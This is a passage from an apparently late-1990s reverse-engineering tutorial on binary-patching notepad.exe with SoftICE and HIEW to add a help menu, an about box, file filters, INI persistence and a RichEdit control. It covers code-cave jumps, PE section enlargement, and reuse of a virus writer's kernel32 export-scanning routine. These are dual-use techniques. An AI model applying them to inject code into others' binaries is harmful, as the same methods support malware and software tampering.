****** jmp 4011C1 ; continue with the other checks, jumping back to .TEXT
; OPCODES: E98E88FFFF
; now we'll stick in parameters pushing for our customized call to WinHelpA
Great...now run your "new" notepad, paying attention to put a help file named
"hnotepad.hlp" into
the same dir where u're running it from....click on our new menu, et voila! It's
done...we just
added a brand new function to notepad.exe :)
_______________________
Here we go with phase two...why did i choose to put a new about box ?? easy...first
of all,
Insanity and Anub|s had to be aknowledged in the about, and then, a little bit of
personal
satisfaction.....:))
Furthermore this procedure will teach us some new things as well, because we'll soon
discover
that notepad.exe HASN'T GOT a OWN about box...the guys at Micro$oft have invented a
pretty
useful API function, located in shell32.dll...I'm talking about ShellAboutA. This API
just
creates a PREDEFINED message box, with the percentage of free resources, memory and
so on (in
other words notepad's about box) plus some additional info that you can specify at
the moment.
Needless to say, this bothers us SO MUCH that we HAVE to put our own code here :D
In sice, a bpx on ShellAboutA (first load the exports from shell32.dll! You can do
that with
either "File/Load Exports" from SoftICE's symbol loader, or appending it to the
EXP='s of your
winice.dat) points us in the right direction: here's where the code for the about box
starts:
bah, useless stuff...rather, we'll stick here the jump to .RELOC section, where our
code will
be.
Like in the previous situation, we must first understand WHAT we want to do. An about
box,
right ? Then a message box will be more than enough. Here's the prototype for this
simple API
function:
int MessageBox(
Hmmm....how about those two buffers ? The text we want to stick in is quite long...we
could add
more strings to the stringtable and use two more buffers as the title and text of the
message
box, but we won't, for two reasons: first of all, when you patch a program and want
to insert
new things, you *MUST* try to optimize your code and make it as fast and as compact
as possible
, and SECOND, NEVER leave unused strings...in other words, before adding new
resources, you have
to figure out if there are any older resources that you will not use anymore...
if so, rather than adding new resources for you purposes, you'd better OVERWRITE
obsolete ones...
remember, SAVING SPACE IS FUNDAMENTAL!).
Now let's try to figure out that in our case: in PHASE 5 of this tutorial we'll
eliminate the
box that says "This file is too large for Notepad to open...", as we'll remove the
limit in size,
so consequently we could stick our new about text in the place of that string...so
the pointer to
the old "This file blah blah" string (which is the one at 4060B0, as you can see
breaking on
the message box above) would point now to the TEXT of our about box...so everything
we have to
do is, in BRW, modifying the string that has ID 52, changing it from
"This file is too large for Notepad to open.\nWould you like to use WordPad to read
this file?"
into
You can just copy&paste the above text. Those "\n" mean "newline", as in c.
We still have the problem of the title. C'mon we could add this little string you
say...NO ! I
answer :)...we MUST learn to optimize our code (even if we get some real big
quantities of
redundant stuff here, but that's for "educational purposes" so don't bother asking
yourself
why;)...Mmh let's see...the title of the about box must be something like "Hnotepad"
right ?
well, now take a look at all those strings in the stringtable where the word
"Notepad"
appears...let's do one thing. We'll modify all those "Notepad" into
"Hnotepad"....except for
"notepad.hlp" of course! So, do it! :)
Now make the program start, set a breakpoint somewhere and, once in the code, take a
look at
memory...a simple "s 0 l ffffff 'Hnotepad'" from SoftICE (or a research from hiew, if
you wish to
find the string physically inside the .exe) will point us to every place in memory
where the
string "Hnotepad" appears...once you found the first one, proceed by entering just
"s" to look
for the next match...now stop by the match at 41027E. You'll notice that it's
preceded AND
followed by 00 bytes...this means that the string is simply that, between the zero
bytes...in
other words, it's just "Hnotepad"...a prefect title for our message box don't you
think ?? ;)
We could, just as above, have pushed directly the address 41027E when we needed it
(in other
words when specifying the title of the MessageBoxA)...but we'll find the pointer to
that
buffer, and we'll push it instead of the direct memory address...the reasons are the
same of
above. Don't be frightened by the sound of the words, a buffer is nothing more than a
variable,
and a pointer.....well let's say that it's the "name" of this variable, to make it
easier for
everyone :). Pointers to common variables reside in .DATA section. We have already
seen some
pointers, do you remember ? I'm talking about the "handle of module containing string
resource"
we must know for the LoadStringA function, the pointer to the text of the message
box, and so
on....the first pointer, for example, was at 405170....this is enough for us to
locate .DATA
section...now everything we must do is finding a pointer (the 'name') to the buffer
(of the
'variable') 41027E ("Hnotepad")...so, in SoftICE, "DD 405170" and look among the
dwords...and
there it is, the pointer we were looking for is at 406060.
So what's left ?? Hmmm, the handle of the owner window...from a practical example
(once again
the "wanna load wordpad?" box), we notice that [ebp+8] contains the hwnd....and this
doesn't
change, as you will see if you experiment a bit...so, we have our last parametere as
well, the
hwnd! (we could have chosen also 0, would have made no difference, but hey, we're
here to explore
no?? :)
Now we just have to decide the style of message box...imho, being this an "about"
message box,
a value of 0 (=MB_OK, in other words a single button with "OK" written on it) will be
perfect
as style...
So now we're ready! All is left to do is modify the existing code to make it jump to
our own
instructions in the .RELOC section....the VA where we'll append our code will be
40895E
(@offset 595Eh), so we have to stick in a jump in .TEXT section to jump to it. The
beginning
of the ShellAboutA routine (@VA 4013D0, @offset 7D0h) will be good:
was
and becomes
:004013D0 E989750000 ************ jmp 0040895E ; --> TOWARDS OUR NEW CODE
The code that follows the new jmp will be changed in a weird way, but we don't give a
damn
because we don't need it anymore...the program will now continue in the .RELOC
section, at
offset 595Eh, with OUR own code:
...
Good! So even this one has gone...now try to make the about box pop up...u'll notice
that it
now shows our brand new string, plus "Hnotepad" as title...of course if you try to
open a file
larger than FFFFh (first dimension check) bytes you'll get a nonsense message box,
because old
"wanna load wordpad" string is gone...but it's just a matter of patience, we'll
eliminate that
box as well, as i said, in PHASE 5.
________________________________________________
Well...seen that this is gonna be an Html files editor, it looks clear to me that it
will have
to show "HTML Files", "JS Files" and "VBS Files" among the masks u get when you try
to open/save
as something...(well if you want the truth, i HAVE to do that or Anub|s will kill
me...:))) I'm
joking of course ;)))
Don't worry about that "|" between descriptions and actual filters, we just need a
place to
locate where we'll put a ZERO BYTE once appended the string to the filter list, so
that the
program will believe that there are TWO strings there
("description","|","filter"...the "|"
will become a 00 byte).
In Sice, BPX GetOpenFileNameA and then choose "File/Open". Sice will pop, press F12
and the
dialog "Open file" will appear on your screen. Press ESC and u'll be back into sice,
here:
Excellent, now let's take a look at memory location 405280. Move the pointer a bit
upwards,
and, one or two PGUPs above, you'll notice clear tracks of the filter strings ("Text
Documents
*.txt" and so on). The filter strings end, as you can see, at memory location 4051A9
(with the
second BYTE 00, that marks the end of the member). So, a simple LoadStringA at this
address
will allow us to append our brand new filter string to the filters already present.
Our code,
once again, will continue, down into .RELOC section, at VA 40897E (@offset 597Eh).
We'll stick
in the jump to our code in the place of the push at 4012E7 (@offset 6E7h), that we'll
restore
later.
was
and becomes
:004012E7 E992760000 ************ jmp 0040897E ; --> TOWARDS OUR NEW CODE
:004012EC C7058C52400080514000 mov dword ptr [0040528C], 00405180
As you can notice, the following MOV isn't changed, so that we'll just come back here
once
we're done with the mofifications and the pushing of the structure.
Now all we must do is to modify, for the same purpose, the code relative to "Save as"
dialog.
This dialog is a predefined one as well, and is called with API function
GetSaveFileNameA
(located in comdlg32.dll as usual). We won't need big modifies, it will be enough to
make the
code relative to the pushing of the "Save as" structure point to the "new" code
relative to
"Open file" (our new code). So, a bpx on GetSaveFileNameA will help us find the point
we'll
modify, which happens to be 40168A (@offset A8Ah):
was
and becomes
:0040168A E9EF720000 ************ jmp 0040897E ; --> TOWARDS OUR NEW CODE
:0040168F E86B320000 Call 004048FF ; Call GetSaveFileNameA
As you can see, the following call to GetSaveFileNameA hasn't changed, so we don't
need to
include it into our code (we'll just jump back here once we're done).
But how will our code distinguish between a GetSaveFileNameA and a GetOpenFileNameA
(a
differentiation is NECESSARY, seen that we MUST know WHERE in .TEXT section to jump
back once
we're done with structure modifying & pushing) ??
Take a look at the registers, once reached our code (or the new jumps which will
bring there):
when we have chosen "Open file", the value in ESI will always be 0Ah (=10 dec.),
which is the
menu ID of the File/Open menu item. If we have chosen "Save as", the value will
always be another
one, of course. So, we'll just check if ESI=Ah, and we'll jump back
to the according part of .TEXT section.
...
mov byte ptr [4051b3], 0 ; puts a ZERO BYTE where we had "|" between "HTML
Files" and
; "*.htm", so that the separation between description
and filter
; is done, and the program will belive they are 2
different
; strings
mov byte ptr [4051c1], 0 ; same as above but between "*.html" and "JS Files"
mov byte ptr [4051ca], 0 ; same as above but between "JS Files" and "*.js"
mov byte ptr [4051cf], 0 ; same as above but between "*.js" and "VBS Files"
mov byte ptr [4051d9], 0 ; same as above but between "VBS Files" and "*.vbs"
****** jmp 4012ec ; AND CONTINUE WITH THE GetOpenFileNameA PART (back
to .TEXT)
; OPCODES: E92589FFFF
59C7:
There u go...now your "Open file" and "Save as" dialogs will show more masks.
You can even lengthen your new filter string to add more masks, but you must keep in
mind that
you can't exceed the memory block reserved for the structure, you can't overwrite
other members
of the structure, and that you must put a 00 byte between the various
"description","filter","description" and so on...PLUS *TWO* ZERO BYTES AT THE END OF
THE LAST
FILTER. If the space you have is not enough, just choose another brand new place and
put the
whole customized structure there, and push it afterwards in the place of the former
one...
____________________________
So, here we go with the (apparently) most difficult part of this tutorial. First of
all let's
take a look at how our .INI file will look like by default:
****
FILE AUTOMATICALLY GENERATED BY HNOTEPAD v1.0
USE ONLY 'Y' OR 'N' IN THE 'AutoWrap' FIELD !!
-NeuRaL_NoiSE 1999
****
AutoWrap=N
LastFileIs=
Now we can think about how do we want to organize the code relative to this function.
Obviously
we'll have to write a part of code that READS the .INI at program start and one that
CREATES/WRITES it at quitting time.
Let's analize the READ function first:
* At Hnotepad start, the code will have to look for a predefined file
C:\Windows\Hnotepad.ini.
If this file isn't found, go on as if nothing happened.
* If it's found, read data from it and look for the first equal sign ('=') contained
in it.
After this sign there will be the desired position of the WordWrapping at start. If
the '='
can't be found, come back to .text without more checks and proceed by default.
* If the first '=' is found, check the letter next to it, and verify if it's 'Y',
'y', 'N' or
'n'. If the letter does not match, come back to .text and proceed by default.
* If the letter matches a 'Y' or 'y', append the 'WordWrapping toggle' message to the
process's
message queue, u'll understand later how to do it.
* Check if Command Line == NULL. If the user chose a file to open, we'll have to load
this one
and not the one pointed in the .INI, because of course the last one has less
* ONLY if Command Line == NULL, we'll try the last file opened pointed by the .INI.
Starting
from previous position, we'll look for the next '='. After this '=', there'll be
the name of
the last file opened. If the '=' can't be found, come back to .text and proceed
opening a
new document (like notepad would behave in normal conditions).
* if the '=' is found, check that immediately after it there's a letter ranging from
'a' to 'z'
or from 'A' to 'Z'. This is useful to determine wheter the filename is correct or
not (don't
misunderstand, we're not checking if the file exist, we're just trying to avoid
loading of
files such as "7:\xyz\xyz.txt"). In other words we check if the initial char is an
alphabet
letter, thus a valid identifier for a drive, and not a number or a symbol. If it's
not a valid
letter, come back to .text and proceed by default.
* If we found a valid letter, proceed reading until the string that defines the
filename ends:
save the initial position of the string, and then go on from there looking for a
space (' ',
=20h) or a carriage return (=0Dh). If neither the first nor the second can be
found, proceed
until the end of file. One thing must be cleared: when we save our default .INI,
after the
second '=' there's a space (' '), that, if found in the check, indicates the end of
the
filename string. If, instead, we save the .INI with the name of a file to reopen
afterwards,
we'll append a CR (=0Dh), which will work like the space of before. If the user has
inserted
manually the name of the last file in the .INI, there's no problem as well cuz
we'll have a
third check, the one for the lenght of the file. Once we reach the EOF we'll
consider FINISHED
the filename definition string.
* Once we found the end of the filename definition string, copy it directly inside
the buffer
that is used to open a file when cmdline!=NULL. Notepad will automatically load the
file cuz
we'll do this operation BEFORE the native check for the cmdline is done. In other
words, we'll
'bruteforce' the name of a file inside the buffer that would otherwise contain only
00 bytes,
thus 'simulating' the choice by the user of a file to open from command line (as in
"notepad xyz.txt").
* At this point, we'll come back to .TEXT to normally continue with the code.
Now we must notice one thing. To add more code, we'll have to use .RSRC section, as
the space in
.RELOC is almost finished. Alas there'a limitation, and this limitation resides in
BRW.
Obviously with the help of a little logic we'll get around it pretty easily, tho you
have the
right to know what we're gonna face: the limitation i'm talking about is that,
everytime we
modify the resources, BRW RECREATES from scratch the .RSRC section. U dig it ? All
your nice
additional code would be DESTROYED by a single change in any of the resources if u do
it with
BRW. There are severals systems to get around this, and we'll use two of them: first
of all we'll
put (almost) all the strings we need in the stringtable BEFORE coding our stuff in
.RSRC. Then,
when everything will be written, we'll have to face the problem that we'll need more
strings in
the fifth phase of this tute, but we'll solve this later.
So, start adding these two strings to the stringtable of our target (u'll understand
later why we
need them):
60, "c:\\windows\\hnotepad.ini"
61, "****\nFILE AUTOMATICALLY GENERATED BY HNOTEPAD v1.0\nUSE ONLY 'Y' OR 'N'
IN THE 'AutoWrap' FIELD !!\n\n-NeuRaL_NoiSE 1999\n****\n\nAutoWrap=N\nLastFileIs= "
Another problem we'll meet will be the lack of physical space at disposition for our
bytes.
Towards the end of this piece of code, you will almost have ended the space in .RSRC
as well, so
don't waste your time later and open ProcDump now, then edit notepad's pe and click
on
"sections". Once there, edit .RSRC and enlarge both raw & virtual size (safer) from
3000 to 3200
bytes (aligned to FileAlignment, remember), then enlarge the Size of Image to cover
these new bytes
(C200h is the final value...they way to compute the size of image is by adding last
section's RVA+last
section's VIRTUAL size), and finally save the changes (only to PE header will do
fine).
This will give us all the space we need.
This said, i suppose that we can think about the point where to place the deviation
to our .INI
checking code. We have to keep in mind 2 things before doing this little research:
1) in order to inform the program that we want Wrapping on (if that's the case), we
need to
simulate a click on the "Word Wrap" option. This is fairly easy, we can do it with
PostMessageA
or with SendMessageA. SendM. will immediately jump to the window procedure so it's
not suitable
for our needs, as we have to make more checks (and clean everything up) afterwards.
So, we'll use
PostMessageA, that simply ADDS the message to the message queue of the executing
thread. But wait
a second...in order to use PostMessageA we need a HWND (in other words a window)
where to send
our message!
So the first thing we'll have to mind is that the EDIT control (that notepad uses at
the moment)
must have been ALREADY CREATED WHEN WE DEVIATE TOWARDS OUR CODE.
IMPORTANT SIDE NOTE: WHEN WE DON'T SEND ANY "WORD WRAP TOGGLE" MESSAGE, WITH AN EDIT
CONTROL
IT WILL BE OK, THE WRAPPING WILL BE KEPT OFF...BUT, WITH A RICHEDIT CONTROL (WHICH
WE'LL
IMPLEMENT IN OUR HNOTEPAD IN THE 5TH PHASE) EVERYTHING GOES NUTS. THIS IS A BUG DUE
TO THE
PROBLEMS THAT COME BECAUSE WE'RE TRYING TO MAKE A SLOPPY PROGRAM LIKE NOTEPAD
INTERACT WITH A
POTENTIALLY POWERFUL CONTROL LIKE THE RICHEDIT. ANYWAY IN 2 WORDS WHAT I UNDERSTOOD
FROM ALL
THIS IS : IF WE SEND *ONE* "WORDWRAP" MESSAGE AT STARTUP, THE RICHEDIT CONTROL WILL
PUT WRAPPING
*ON* (EVERYTHING AS NORMAL). IF WE DO *NOT* SEND ANY MESSAGES AT STARTUP, WE'LL BE IN
TROUBLE
BECAUSE EVERYTHING BECOMES MESSED (LIKE OPTION TURNED OFF, BUT WRAPPING TURNED ON).
IF WE SEND
*TWO* "WORDWRAP" MESSAGES, THE PROGRAM WILL FIRST PUT WRAPPING ON, THEN RE-PUT IT
OFF...THIS IS
IDEAL FOR OUR PURPOSES: IF WE WANT THE WRAPPING, WE'LL SEND *ONE* MESSAGE, IF WE
DON'T WANT IT,
INSTEAD OF AVOIDING TO SEND IT AT ALL, WE'LL SEND *TWO* OF THE SAME "WRAP TOGGLE"
MESSAGES,
AVOIDING ALL THE MESS THAT THIS ANNOYING BUG IMPLIES.
CONTACT ME IF THIS IS NOT CLEAR :)
2) BUT, if we wait too long, we could fall in the opposite mistake: the thread might
have already
created the edit control, but the cmdline check could have been already made too! so
our second
check (for the file to open pointed in the .INI) would be useless...
So here's the second thing we'll have to consider: THE CHECK FOR THE COMMAND LINE
MUST HAVE *NOT*
BEEN MADE YET.
We can easily guess that the check for the command line happens AFTER the creation of
the
control, and this is real good news for us. All we must do is "catching" that
fleeting moment
between the two operations, and insert there all our checks. Ahh, zen owns, heheh :)
I'd say that a good start might be that message box that says "Cannot find the
xyz.xxx file...",
that appears everytime we try to open a file that doesn't exist. It points us to a
potential
place where the control has been ALREADY created and the command line has been JUST
checked.
:004028D0 E84FF9FFFF call 00402224 ; <-- WE COME BACK FROM THIS CALL
:004028D5 83F806 cmp eax, 00000006
:004028D8 7545 jne 0040291F
Here's the check for the key we pressed. But let's take a look at the code that comes
before,
what's that CreateFileA?? :)
Very interesting...here we have the check that interested us, the cmd line check!!
The byte ptr [ebx] contains 00 if we didn't put anything as command line, but let's
try to put a
bpx on the check (at 402853), then let's get back to DOS prompt and let's type
NOTEPAD FAKE_FILE...sice will pop at 402853. Now try "D EBX"...u'll find there
"FAKE_FILE", just
as you wrote it...right! this is the command line buffer! :)
but wait a sec...that's not the buffer we have to use...can u see that call next to
the check?
here it is:
If you trace into it, u'll notice that this call is comparable to an lstrcpy, in
other words it
COPIES the name of the file (in d,[ebx]) into the predefined buffer at 4052d0:
furthermore, if in
the command line, like in our case, you have written something like FAKE_FILE, after
this call
u'll notice that the name has changed into FAKE_FILE.txt -- all this call does at
this point is
clear, and what we can understand is clear as well: the buffer to use is that one at
4052d0 (as
you can see even if u take a look at the params pushed before the CreateFileA that
comes
afterwards). So this will be the buffer where we'll write our filename into. But
there were 2
things to keep in mind, remember? We must check if the edit control has already been
created at
this point. In SoftICE, once arrived at 402853, type in HWND NOTEPAD (if the name of
the file
you're running is notepad.exe, or else refer to it, or find out with the TASK
command); u'll
notice that the second class name is an EDIT CONTROL....bingo, it's already present,
so we found
a good zone for our deviation! :)
We'll place the jump to our code in the place of that JE at 402856.
***END NOTE***
Our code will begin at 40BEED (@88edh) -- actually we could have saved some bytes but
it's safe
this way -- thus the deviation will be this (@1c56h):
was
and becomes
:00402856 E992960000 ************ jmp 0040BEED ; --> TOWARDS OUR NEW CODE
:0040285B 90 nop
Ah, obviously we'll need some API functions...every time you find an API call in the
code, just
substitute (from HIEW) call d,[dword_ptr_of_the_api].
Now let's take a look at our code: seen that it might be quite difficult to
understand the
structure with only the offsets as references, i decided to put some explicit labels
(with the
relative offset in parenthesis).
Start (@88ed):
push 0 ; pushes a dummy parameter on the stack, we'll overwrite it with the handle
of the file
; if the .INI is found.
push dword ptr [406000] ; saves the hWnd. You always find it here. You can easily
find this
; out by looking at the pointers in the .IDATA section. We
can't use
; the old [ebp+8] we used before, because this passage is
yet to come
; at this point.
push 0 ; = OF_READ, opens for reading only and the call fails if the file doesn't
exist
push 63f8c4 ; "c:\windows\hnotepad.ini"
call _lopen
cmp eax, -1 ; was there an error while opening ??
jnz FILE_FOUND (@8924h)
FILE_FOUND (@8924h):
mov [esp+4], eax ; file handle in the place of the dummy param
push ff; # of bytes to read; ATTENTION - USE OPCODES 68FF000000, otherwise HIEW
will put
; 6AFF, that will be interpretated by Win98 (not by 95) as PUSH FFFFFFFF,
not
; PUSH 000000FF
push 4109a1 ; buffer "RingZ3r0's Hnotepad.....", restored in CLOSE (@89EBh)
push eax ; file handle
call _lread
; if the '=' has been found, EDI points to the byte NEXT TO THE '='.
mov esi, 1 ; esi will count HOW MANY TIMES WE MUST SEND THE "WRAP TOGGLE" MESSAGE
-- READ THE
; IMPORTANT SIDENOTE OF BEFORE FOR MORE INFOES
ERROR (@895Fh):
AUTOWRAP_OFF (896Ch):
inc esi ; esi=2 so it will send the "wrap toggle" message TWO times, switching
wrapping ON and
; then OFF!
SEND_AUTOWRAP (@896Dh):
; NOW WE'LL SEND THE MESSAGE RELATIVE TO THE WRAPPING, USING PostMessageA:
;
; BOOL PostMessage(
;
; HWND hWnd, // handle of destination window
; UINT Msg, // message to post
; WPARAM wParam, // first message parameter
; LPARAM lParam // second message parameter
; );
;
; OBVIOUSLY WE WANT TO SIMULATE A CLICK ON A MENU ITEM: THE MSG WILL THEREFORE BE
111h
; (WM_COMMAND), AND wParam WILL BE 1Bh (=27 DEC, THE MENU ID OF "Edit/Word Wrap")
push 0 ; lParam
push 1b ; wParam
push 111; = WM_COMMAND
push eax ; l'hWnd
call PostMessageA
pop ecx ; restores the remaining bytes for the scasb in the next check
dec esi ; decrease counter
jnz SEND_AUTOWRAP (896Dh) ; jumps if esi=2, so we want the wrapping to be OFF
CONTINUE (8996h):
; NOW WE'LL CHECK IF THE CHAR IMMEDIATELY AFTER '=' IS A CORRECT ALPHABET LETTER.
ASCII
; VALUES ARE : 'a' = 61 , 'z' = 7A , 'A' = 41 and 'Z' = 5A
2_LOWCASE (89A3h):
UPCASE (@89A8h):
2_UPCASE (89AFh):
INVALID(@89B4h):
OK (@89C1h):
push edi ; saves the position of the first byte in the filname defintion string
SEARCH_CR_OR_SPACE (@89C2):
inc edi
cmp byte ptr [edi], 20 ; ' '
jz FOUND (@89D0h)
cmp byte ptr [edi], 0D ; = Carriage Return
jz FOUND (@89D0h)
dec ecx ; ECX contains the bytes between the second '=' and EOF
jnz SEARCH_CR_OR_SPACE (@89C2)
FOUND (@89D0):
mov byte ptr [edi], 0 ; marks, in memory, the end of the filename definition string
pop edi ; restores the initial position of the string (that now ends with a 00
byte)
push edi
push 4052d0
call lstrcpyA ; copies EDI (begin name of file - zero byte) in 4052d0 (buffer for
the file to
; open)
mov dword ptr [63f8c4], 402867 ; VA for the return jump, see "*** NOTE ***"
pop eax ; throws away hWnd
CLOSE (@89EBh):
; );
ERROR_IN_FILE (@8A11h):
cmp byte ptr [ebx], 0 ; the CMDLINE check, also present in .TEXT
*** jnz 40285c ; if CMDLINE!=NULL, OPCODES: 0F854268FFFF
*** jmp 402950 ; if CMDLINE==NULL, OPCODES: E93169FFFF
NOP
NOP ; i put them here to mark the end of this code piece.
NOP
The end.....now try to edit a file C:\windows\hnotepad.ini, insert two '=' in it, and
after the
first one write 'Y', while after the second one write the name (with path) of a file
on your hdd.
Hnotepad will automatically use these infoes at start.
---
Ok, but we solved only part of the problem. Let's analize now the part relative to
automatic
WRITING of the .INI file every time we quit hnotepad:
* If the file is created correctly, load the "skeleton" of the .INI file (seen
before) into
memory, and retrieve the necessary info to write data in it (name of the last file
opened and
* Write (in memory) all data relative to wrapping and last file, putting them in the
correct
points of the skeleton in memory.
* Write the skeleton along with the new data in the file
1) WHERE we'll find the name of the last file opened before closing and
2) WHERE we can check the present status of the Word Wrapping.
Good...first answer is really easy: the name is always there, into the same
open-file-name
buffer, at exit time as well: 4052d0.
Do you remember that main call in the window procedure ? the one that processed the
messges sent
to the window? let's take another look:
We can easily deduct from this that the dword ptr [406018] is nothing more than a
status flag, to
be more precise it's our Word Wrapping Status Flag :)
If it's 0, wrapping is OFF, and this procedure ACTIVATES it, setting the dword ptr
[406018] to 1.
If it's 1, wrapping is ON, and the procedure does exactly the contrary.
At exit time, this ptr is kept, and it clearly indicates us wheter wrapping was ON or
OFF when we
chose to quit, so we'll just need to check it and that's it.
Intuitively, the point where to jump from is the code relative to WM_DESTROY, in
other words when
we have almost closed everything up and the user can't decide to cancel the quitting
operation.
In order to track down the correct code zone, we'll use a fairly easy method: the API
function
RegisterClass.
In the Disasm, look for "registerclass" and u'll be here:
Really easy, just take a look at the locations MOVed in [ebp-xx] before the call and
you'll soon
notice that the beginning of the window procedure is at 401aad:
With a bpx 401ab5, you'll notice that ESI contains the message that is analized at
present time.
but the one we are interested in is obviously WM_DESTROY (=02h). Good, as you can see
we have a
jump at 401ac3 that will be taken only if the current message is WM_DESTROY. it'll be
enough to
substitute that VA with our code starting line and the problem is gone. Our code will
begin at VA
40c022 (@8A22h), and the offset of the je to change is EC3h.
was
and becomes
Start (@8A22h):
CREATED_OK (@8A4Fh):
CHECK_LASTFILE (@8A77):
; IN THIS CHECK WE'LL VERIFY IF WE HAVE A FILENAME OR THE WORD "Untitled", WHICH
; MEANS THAT THERE WAS NO LAST FILE OPENED.
mov eax, 4052d0 ; the starting address of the buffer with the last file name
LASTFILE_PRESENT (@8AB3h):
WRITE_DATA (@8AC3h):
; NOW WE'LL WRITE THE SKELETON TO THE FILE. WE'LL USE _lwrite, BUT THERE'S A PROBLEM.
ON MY PC,
; DUE TO YET UNKNOWN REASONS I CAN'T SAVE MORE THAN 7Fh BYTES PER TIME, AND
CONSIDERED THAT THE
; TEXT WE WANT TO SAVE IS 92h BYTES LONG, WE'LL USE _lwrite 2 TIMES, THE FIRST ONE
WITH THE
; FIRST 7Fh BYTES, THE SECOND ONE WITH THE REMAINING 13h.
;
; UINT _lwrite(
;
; HFILE hFile, // handle to file
; LPCSTR lpBuffer, // pointer to buffer for data to be written
; UINT uBytes // number of bytes to write
; );
; NOW WE MUST CHECK THE LENGHT OF THE NAME OF THE FILE, PUSH THOSE BYTES AND APPEND
THAT NAME
; TO OUR .INI FILE
CHECK_LASTFILE_NAME_LENGHT (@8AEAh):
ENDCHECK (@8AF3h):
NOP
NOP ; end of this part of code
NOP
There would be something to explain here. Why did i stick in a direct call to
ExitProcess without
allowing the program to execute the PostQuitMessage (in order to exit in a more
'clean' way)? The
problem is easy...if you try to exit under certain conditions (in our case choosing
anything else
than File/Exit) you'll get a fault. The reason is still unknown to me, yet i suspect
it might be
due to stack trashing following some LoadStringA, and the fault happens while tracing
through
kernel code. Anyway, the call to ExitProcess doesn't cause any problems, it's just a
"quicker"
way to quit the process. Processing WM_CLOSE instead of WM_DESTROY doesn't give much
different
results.
From now on, everytime you exit and reopen Hnotepad, the last file (if present) and
the Word
Wrapping will be restored. Isn't that nice :)
__________________________________________________________________
Here we go with the fifth and last part of the creation of Hnotepad, the elimination
of the limit
in the size of the files opened with Notepad.
What we'll do is fairly easy: we'll change the Edit control (which Notepad currently
uses) into a
RichEdit control, the one used by WordPad.
If you want more infos on this subject, i suggest looking at you API reference and
looking for
"RichEdit".
The thing would be really easy, if it wasn't for a single detail: in order to use a
RichEdit
control, we need the Riched32.dll library to be present in memory at runtime. And in
order to
load the Riched32.dll library we need the LoadLibraryA API function. But, alas (or
luckily,
because we'll have some fun;), Notepad doesn't include this function among the
imported ones (you
can check it with W32Dasm under Imported Functions, or with HIEW taking a look at the
.IDATA
section)...this is not a big problem, we could stick in a GetProcAddress instead of
another
function in the it (GetTimeFormatA for example) and use this API in order to retreive
the
address of the KERNEL32!LoadLibraryA function dynamically, at runtime...or we might
decide to
work heavily on the import table and completely remove it from there, implementing a
thunking
table, or still we might retrieve kernel32 base address and quickly scan the Export
Table of the
library to retrieve the function entrypoint to LoadLibraryA, etc..but we'll do it in
the simplest
way: we'll use a piece of code written for a virus by Jacky Qwerty, a virii
programmer
from one of the best virii writers groups on the scene (29A), which executes an
operation exactly
identical to GetProcAddress: infact it scans the requested library in memory (in our
case
Kernel32.dll) and retrieves the address of the desired function (in our case
LoadLibraryA). I
won't discuss more what the code does, as (if you're lucky:) you might use this link
to a zipped version of hnotepad.exe, along with the needed include files, the
commented source
code for this scanning function (KBASE.ASM) and the file i called
COMPILED_SCANNING_CODE,
containing the already compiled code.
This you can copy & paste inside your own targets (anywhere in the .exe, because
all the jumps are relative to its own offsets, and being a procedure to be called,
the only
return point is marked by a ret). The function accepts 2 parameters, the HANDLE to
the library
(or, better, the address where the library begins), in our case kernel32.dll, and the
NAME of the
desired function we want to retrieve (LoadLibraryA for us). In order to copy and
paste the hex
bytes inside your alien target, you can use a program like UltraEdit32 or Hex
Workshop, just act
like if it was plain text (be careful to paste at the right offsets ;).
If there's something you don't understand in the way you should apply this code to
targets, take
a look at part 4 of this tute to see how you can contact me.
But let's see how this system will work in OUR case: so here's the little problem i
was talking
before: we'll need some variables (3 to be precise), but we can't modify the
stringtable for our
purposes, because the minimal change would destroy our own work in .RSRC section. How
to do then?
Easy: we'll write our variables DIRECTLY in the physical file, in a place we don't
need (towards
the end of the file). But let's proceed gradually.
First of all we need to load the riched32.dll library and after that we'll need to
change "EDIT"
into "RICHEDIT" at the right place in order to obtain an edit control that supports
big files.
Our deviation will be at the line next to the GetCommandLineA call, the "mov esi,
eax" at 40100d
(@40Dh). Our code, included those previous NOPs, will begin at 40c116 (@8B16).
So here's the change we'll do:
was
and becomes
:0040100D E904B10000 ************ jmp 0040C116 ; --> TOWARDS OUR NEW CODE
:00401012 90 nop
:00401013 7513 jne 00401028
Now we have the problem of the variables. Let's leave a bit of free space in the
.RSRC section,
and let's write in there the vars we need. Consider that we'll have to stick in the
scanning
code, so, given a good margin, change to HEX mode in HIEW and go to offset 8BD0h,
then edit the
asciis and write:
LoadLibraryA
This will be our first variable. Then go to offset 8BE0h and write:
Riched32.dll
Here's our second variable. We'll also need Kernel32.dll, but as you can imagine this
variable is
already present in our code, in the .IDATA section: a search from HIEW will make us
reach
directly this section, and among the names of the imported dll's you'll also find
Kernel32.dll.
The VA is 4076E0. We can now trace a little scheme of the variables we have at our
disposition,
so here are the VA's that interest us (the ones we'll use in order to refer to the
variables from
the code):
it will provide us the HANDLE to the library KERNEL32.DLL, which we'll scan looking
for our API
LoadLibraryA. There's a thing to say here: what is returned in EAX by this function
(GetModuleHandleA), in reality, is the BASE ADDRESS of the interested module, in
other words the
address where, in memory, the mapped library begins. This is not said in your API
reference :)
Start (@8B16):
; IMPORTANT: THE SCANNING CODE WILL RETURN THE ADDRESS OF THE DESIRED API, BUT IN
*ECX*, NOT IN
; EAX
SCANNING_CODE (@8B40):
; HERE YOU MUST SIMPLY PASTE THE CODE I PROVIDED IN THE FILE
COMPILED_SCANNING_CODE. FOR A
; DETAILED DESCRIPTION OF ITS FUNCTIONS TAKE A LOOK AT AUTHOR'S COMMENTS IN THE
SOURCE CODE
; (KBASE.ASM, INSIDE ARCHIVE SCANNING_CODE.ZIP)
Excellent, now our code is ready...we just have one more problem..we must create the
control in
RichEdit mode, not Edit, or all those changes are useless. In order to modify the
control, we
have to find the CreateWindowExA call (that notepad uses) that is called with the
string "Edit"
pushed on the stack, and redirect that push towards our new variable "RichEdit".
First of all,
let's create this variable. In HEX mode as usual, from HIEW edit the ascii at offset
8BF0, and
write
RichEdit
In order to find the call we are interested in, from sice "BPX CreateWindowExA" and
run notepad.
You'll arrive to this point:
Good....it's easy to guess what the change will be...at offset 1BA5h:
was
and becomes
Now we just have TWO more details to modify, and then we can finally close this
incredibly long
tutorial :)
1) If you try to open big files, you'll still have the nag that asks you if you want
to run
WordPad: bpx MessageBoxA, and you'll climb back to the check of the size, which is
Just NOP that jg out (@2291h) and the problem will go away.
2) If you open a big file and you try to insert (or you have already inserted) the
Word Wrapping,
